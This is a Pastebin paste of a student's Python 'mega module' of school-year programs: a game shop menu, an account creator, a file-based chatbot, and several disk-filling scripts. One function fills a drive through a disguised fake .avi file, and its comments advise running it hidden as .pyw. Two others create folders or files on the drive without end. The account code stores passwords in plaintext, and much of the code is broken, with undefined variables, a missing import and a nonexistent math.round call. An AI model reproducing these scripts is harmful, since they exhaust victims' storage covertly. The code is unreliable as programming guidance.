Advertisement
Guest User

Mega Module

a guest
Dec 6th, 2016
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.61 KB | None | 0 0
  1. # This mega-module was created by Jeremiah Boby
  2. # Do not use without prior permission, or legal stuff will happen
  3. #
  4. # █████████████████████████████████████████████████████████████████████████████
  5. # █ █
  6. # █ ██ ██ █████ ████ ████ ██ ██ ████ ████ █ █ █ █████ ██
  7. # █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██
  8. # █ █ █ █ █████ █ ███ ██████ █ █ █ █ █ █ █ █ █ █ █████ ██
  9. # █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██
  10. # █ █ █ █████ ████ █ █ █ █ ████ ████ ████ █████ █████ ██
  11. # █ ██
  12. # █ ████ █████ ██
  13. # █ █ █ █ ██
  14. # █ ██████ █ █ ████ ██████ ██
  15. # █ █ █ █ ██
  16. # █ ████ █ ██
  17. # █ ██
  18. # █ ████ █ █ █ █████ █████ ████ ██ ██ █████ ██ █ █████ █████ █████ ██
  19. # █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██
  20. # █ ██████ █ █ █ █████ █████ █ █ █ █ █ █████ █ █ █ █████ █████ █████ ██
  21. # █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ █ █ █ ██
  22. # █ █ █ ██████ █████ █████ ████ █ █ █████ █ █ █████ █████ █████ ██
  23. # █ ██
  24. # █ © Jeremiah Boby 2016 ███
  25. # ███████████████████████████████████████████████████████████████████████████████
  26. # █████████████████████████████████████████████████████████████████████████████
  27. #
  28. # The mega module of awesomeness is the pinnacle of expertise. It contains the
  29. # genius collected programming knowledge of Jeremiah Boby, built over the
  30. # years and condensed into this module full of useful and efficient functions!
  31.  
  32. def gshp(buy, relics, type_of, coin_balance):
  33. # In-game shop program
  34. # (Year 9)
  35. import os
  36. choice = str.lower(input("Welcome to the " + type_of + " shop! What would you like me to do?\n | Buy | Sell | Relics | Repair |\n>>"))
  37. if choice == "buy":
  38. for i in range(len(buy)):
  39. print("\n" + str(i+1) + " Item: " + buy[i-1][0] + " cost: " + str(buy[i-1][1]))
  40. # collects data
  41. while boolean == True:
  42. try:
  43. choice = int(input("\nWhat would you like to buy?\nEnter the number of the Item >>"))
  44. boolean = False
  45. except:
  46. print("\That's not a choice!\n")
  47. elif choice == "sell":
  48. choice = int(input("\nWhat would you like to sell?\nEnter the number of the Item >>"))
  49. elif choice == "relics":
  50. choice = int(input("\nYou must be a connosseur if those caught your eye. What would you like?\nEnter the number of the Item >>"))
  51. elif choice == "repair":
  52. choice = int(input("\nWhat would you like me to repair?\nEnter the number of the Item >>"))
  53. return choice
  54.  
  55. def acrn():
  56. # Account creator program
  57. # (Year 10)
  58. import os
  59. os.system("cls")
  60. choice = str.lower(input("\nAre you a returning user?\nEnter y/n >> "))
  61. os.system("cls")
  62. if choice == "y":
  63. # Retrieving user data...
  64. keepLooping = True
  65. # A boolean while loop allows me to quit the loop only when the boolean "keepLooping" is assigned to false
  66. while keepLooping == True:
  67. try:
  68. username = input("\nWhat is your username?\nEnter username >> ")
  69. password = getpass.getpass("\nWhat is your password?\nEnter password >> ")
  70. os.system("cls")
  71. userFile = open("Players/"+username+"/Password.txt","r+")
  72. # Opens an existing text file to read previous Game Data
  73. userPass = userFile.read()
  74. if userPass == password:
  75. input("\nYou are logged in!")
  76. keepLooping = False
  77. else:
  78. # Error codes allow me to track errors when debugging the program
  79. print("\nError 1: Incorrect Username or Password combination. Try Again.")
  80. except:
  81. print("\nError 2: Username or Password File not found. Try Again.")
  82. elif choice == "n":
  83. # Account Creation...
  84. choice = str.lower(input("\nWould you like to create an account?\nEnter y/n >> "))
  85. if choice == "y":
  86. boolean = True
  87. # Boolean loop, as described above
  88. while boolean == True:
  89. os.system("cls")
  90. new_user = input("\nWhat would you like your username to be?\nEnter your new username >> ")
  91. if os.path.exists("Players/" + new_user):
  92. # "os.path.exists" allows me to check for an existing folder directory
  93. print("\nError 3: This user already exists. Try again.")
  94. else:
  95. os.makedirs("Players/" + new_user)
  96. # "os.makedirs" allows me to create a new folder directory for new user data
  97. new_pass = getpass.getpass("What would you like your password to be?\nEnter your new password >> ")
  98. # "getpass.getpass" allows the user to enter text without it being recorded on the screen
  99. passwordFile = open("Players/" + new_user + "/Password.txt","a")
  100. # Creates a Password file in "append" format
  101. passwordFile.close()
  102. # Closes the text file to reopen later...
  103. passwordFile = open("Players/" + new_user + "/Password.txt","r+")
  104. # Reopens the closed text file in a read/writeable format
  105. passwordFile.write(new_pass)
  106. # Writes the new password to the text file
  107. passwordFile.close()
  108. # Closes the password file to prevent further use
  109. teamFile.close()
  110. os.system("cls")
  111. input("\nYou are logged in!")
  112. import os
  113. os.system("cls")
  114. username = new_user
  115. # Sets the "username" variable to the user's entered username and returns it for local use
  116. boolean = False
  117.  
  118. def dhck():
  119. # Data injector program
  120. # (Year 10)
  121. # Use with .pyw for a better effect
  122. # I am not responsible for misuse of this code (heh heh heh)
  123. import math
  124. # Imports the math function for string divisions
  125. file = "1"
  126. filename = open("H:/My Videos/Sample Video.avi","a")
  127. # Creates an inconspicuous fake .avi file
  128. # "Append" mode to proportionally increase its size
  129. while True:
  130. file = file + "1"
  131. # Constantly increases the size of this variable
  132. try:
  133. filename.write(file)
  134. # Checks if there is enough free space to add data
  135. except:
  136. while True:
  137. file = file[0:math.round(len(file)/2,0)]
  138. try:
  139. filename.write(file)
  140. # Injects data into the fake .avi file
  141. except:
  142. file = file[0:len(file)/2]
  143. filename.close()
  144. # Refereshes the size of the file so that it can be recognised
  145. filename = open("H:/My Videos/Sample Video.avi","a")
  146. # Reopens for editing and loops
  147.  
  148. def runr():
  149. # Runs a program from system32
  150. # (Year 10)
  151. while True:
  152. name = input("What is the name of the program you want to run? (e.g. dialer)\n>> ")
  153. extension = input("What is the file extension? (e.g. exe)\n>> ")
  154. print("\nInitialising...\n")
  155. import os
  156. # Uses the os function "popen" to open a file
  157. os.popen("C:/Windows/System32/"+str.lower(name)+"."+str.lower(extension))
  158. def fldr():
  159. # Creates an ongoing number of folders in the host's drive
  160. # (Year 10)
  161. # Use with .pyw for a better effect (Must remove input loop)
  162. import os
  163. name = input("Name of Folders?\n>> ")
  164. print("Running...\n")
  165. i = 1
  166. while True:
  167. os.makedirs("H:/"+name+" "+str(i))
  168. i = i+1
  169. def flwr():
  170. # Creates an ongoing number of text files in the host's drive
  171. # (Year 10)
  172. import os
  173. name = input("Name of Files?\n>> ")
  174. print("Running...\n")
  175. i = 1
  176. while True:
  177. filename = open("H:/"+name+" "+str(i)+".txt","a")
  178. filename.close()
  179. i = i+1
  180. def saim():
  181. # Activates a self-learning conversation program
  182. # AI, basically
  183. # (Year 10)
  184. # Setting name beforehand so that name inclusive chats are functional
  185. name = "Mortal"
  186. input("Welcome to the Self-learning Artificially Intelligent Machine (SAIM)")
  187. # Time module adds non-proportional wait time to chat (realistic)
  188. import time
  189. # Os module allows chat clearing (realistic)
  190. import os
  191. # Sets lastAnswer. I could have set it to nothing, but where's the fun in that
  192. lastAnswer = "LastAnswer"
  193. # Jokes from http://www.recreationtherapy.com/tx/trajokes.htm
  194. jokeBank = {"What do you call a cow with one leg?":"Lean Beef!","What do you call a cow with a twitch?":"Beef Jerky!",
  195. "Why were the strawberries all upset?":"They were in a jam!"}
  196. while True:
  197. # Clears chat, as said above
  198. os.system("cls")
  199. userInput = input("\nWhat would you like to tell SAIM?\n>> ")
  200. # Text files can't have question marks...
  201. if userInput[len(userInput)-1] == "?":
  202. userInput = userInput[0:len(userInput)-2]
  203. # Checking if SAIM has a chat in it's database
  204. try:
  205. file = open("//ps-file2/StudentDocs$/Intake2012/130201JB/School/Computer Science/Projects/Python/.Unfinished Projects/SAIM/Answers/" + userInput + ".txt","r")
  206. except:
  207. # If it doesn't:
  208. time.sleep(0.5)
  209. # Creating file beforehand
  210. file = open("//ps-file2/StudentDocs$/Intake2012/130201JB/School/Computer Science/Projects/Python/.Unfinished Projects/SAIM/Answers/" + userInput + ".txt","a")
  211. file.close()
  212. file = open("//ps-file2/StudentDocs$/Intake2012/130201JB/School/Computer Science/Projects/Python/.Unfinished Projects/SAIM/Answers/" + userInput + ".txt","w")
  213. print("\nUhh...")
  214. time.sleep(0.5)
  215. print("I don't know what to say here. A little help?")
  216. time.sleep(0.5)
  217. os.system("cls")
  218. # User enters correct answer
  219. answer = input("\nWhat should I say?\n>> ")
  220. os.system("cls")
  221. # Writes answer to
  222. file.write(answer)
  223. file.close()
  224. file = open("//ps-file2/StudentDocs$/Intake2012/130201JB/School/Computer Science/Projects/Python/.Unfinished Projects/SAIM/Answers/" + userInput + ".txt","r")
  225. recentAnswer = str.capitalize(file.read())
  226. if "<name>" in recentAnswer:
  227. recentAnswer.replace("<name>",name)
  228. os.system("cls")
  229. print("\n[SAIM is typing...]")
  230. time.sleep(1)
  231. os.system("cls")
  232. input("\n" + recentAnswer)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement